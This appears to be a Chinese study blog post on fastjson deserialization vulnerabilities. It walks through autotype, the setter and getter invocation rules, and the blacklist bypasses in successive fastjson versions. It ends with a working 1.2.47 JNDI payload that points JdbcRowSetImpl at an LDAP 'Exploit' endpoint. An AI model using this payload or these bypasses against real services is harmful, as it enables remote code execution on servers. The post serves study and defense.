java继续开坑学习。看到哪个学哪个,shiro懒得看了。
fastjson
exp利用不必多说,主要是学习下原理。以下都在jdk1.8调试。
可以按wh1t3p1g师傅的博文学习。
https://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/
三个demo类
public class Person {
public String name;
public Phone phone;
public Person() {
}
public Person(String name, Phone phone) {
this.name = name;
this.phone = phone;
}
@Override
public String toString(){
return name+":"+phone;
}
}
public class Phone {
public String phoneNumber;
public Phone() {
}
public Phone(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public String toString(){
return this.phoneNumber;
}
}
public class NewPhone extends Phone {
public String location;
public NewPhone(){
}
public NewPhone(String phoneNumber, String location) {
this.phoneNumber = phoneNumber;
this.location = location;
}
public String toString(){
return this.phoneNumber+":"+this.location;
}
}
fastjson库一般我们重点关注几个基本功能方法
JSON.toJSONString()
JSON.parse()
JSON.parseObject()
Test
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
Person person = new Person("byc_404",new Phone("123123123"));
//Person person = new Person("byc_404",new NewPhone("123123123","china"));
String json = JSON.toJSONString(person);
System.out.println(json);
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);
}
}
//ouput:
//1.
//{"name":"byc_404","phone":{"phoneNumber":"123123123"}}
//byc_404:123123123
//2.
//{"name":"byc_404","phone":{"location":"china","phoneNumber":"123123123"}}
//byc_404:123123123
这里最显著的问题就是。我们两次执行代码时在parseObject
后输出的结果是一致的。这显然不符合我们的预期,因为这直接丢失了newphone类的location属性。
由于fastjson不知道需要还原的Person的Phone是本身还是子类NewPhone,面对这种多态方式,fastjson还原的是父类,而不是子类NewPhone
在这种情况下就产生了autotype.我们将上面TOJSONString
这行代码更改下
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);
//output
//{"@type":"Person","name":"john","phone":{"@type":"NewPhone","location":"china","phoneNumber":"123123123"}}
//john:123123123:china
这里我们可以看到@type
帮助我们避免了子类丢失字段的问题,成功还原了对象。但是我们自然可以想到,如果将其指定为恶意类,就可能导致恶意代码执行了。这就是最早的fastjson版本的rce漏洞。
然后因为本地jdk1.8版本太高就不复现了……打法自然是rmi / ldap两种方法。
这里提一下fastjson之所以能执行一系列方法的起因:fastjson 自动调用getter和setter以及无参数的构造函数
这里不深入跟,直接给出结论
setter提取条件:
- 函数名长度大于等于4
- 非静态函数
- 限制返回类型为void或当前类
- 函数参数只有一个
- 函数名以set开头,第四个字符是大写或者unicde或者_或者字母f;如果函数名长度>=5,看第5位字符是不是大写的
getter提取条件:
- 函数名长度大于等于4
- 非静态函数
- 函数名以get开头,第四个字符大写
- 函数参数为0个
- 函数的返回类型为Collection的子类或本身、Map的子类或本身、 AtomicBoolean、AtomicInteger、AtomicLong
无相对应的setter函数
经过上述的两个条件提取后,保留了符合条件的getter和setter,并于com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue函数中invoke调用,也就是说实现了类似反序列化过程中主动调用readObject函数的效果。
由条件,此时可以利用传入某字段的方式来主动调用相关符合条件的setter和getter。例如在Person里面添加一个setTest函数,并在需要转化的json中添加”test”:1,这将会主动调用setTest。
如下
public void setTest(String test) {
this.test = test;
System.out.println("setTest Method called!");
}
String json="{\"name\":\"byc_404\",\"phone\":{\"phoneNumber\":\"123123123\"},\"test\":\"1\"}";
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);
//output:
//setTest Method called!
//byc_404:123123123
我们在利用@type构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。
1.2.24 修复 bypass
然后改下maven里fastjson依赖看看高一个版本的fastjson防护。发现多了一个checkAutoType方法。当然这个版本同时需要手动开启autoType.
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
这里做了一次白名单一次黑名单的检查。优先载入手工配置的白名单类,并对黑名单类爆出异常。
然后后面继续调用时,如果不符合前面的情况,后面就会进入这一段
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
跟进loadClass
.
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
......
在黑名单检测之后,当开头有[
或者开头有L
和结尾有;
时会去掉这些字符,从而造成了黑名单的绕过。因为它是用startswith检测黑名单的。
1.2.42 bypass
然后上面那个bypass的修复主要是
把黑名单全部换成hash防止深入是这个版本的特点,同时上面这个代码的作用是如果满足某个条件的话就去掉那些Lxxx;
的前后第一个字符。
然而修复治标不治本,说实话有点蠢,这里只需要LLxxx;;
就能绕了。
而且黑名单hash也有dalao 测过的。之前看LandGrey佬收藏过,
https://github.com/LeadroyaL/fastjson-blacklist
1.2.47 bypass
1.2.48以前的checkAutoTyye有这样一段代码。
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
......
public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}
这里很奇怪的if的条件导致:即使前面搜到了黑名单里的类,如果mappings里面存在这个类,那么仍可以进行下一步操作。
这里的mappings是fastjson提早载入的一些缓存类
那么假如可以将恶意类加入mappings就能有绕过的效果了。
这里我们继续跟进
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
针对deserializers.findClass,这里类中有一个初始方法,在deserializers里面预先填充了一些类与其反序列化器的实例。
其中包括一个
this.deserializers.put(Class.class, MiscCodec.instance);
重点在经过autotype检查后MiscCodec这个反序列化器是怎么处理Class.class的。
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
而TypeUtils.loadClass
非常好用.他将使用ClassLoader.loadClass或Class.forName来载入类,在这一过程中,涉及到了mappings的操作,即调用了mappings.put(className,clazz)
.那么这样的话会直接将载入后的对象填入mappings。
那么只要提前将恶意类载入mappings就好了。
json = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/Exploit\",\"autoCommit\": true}}";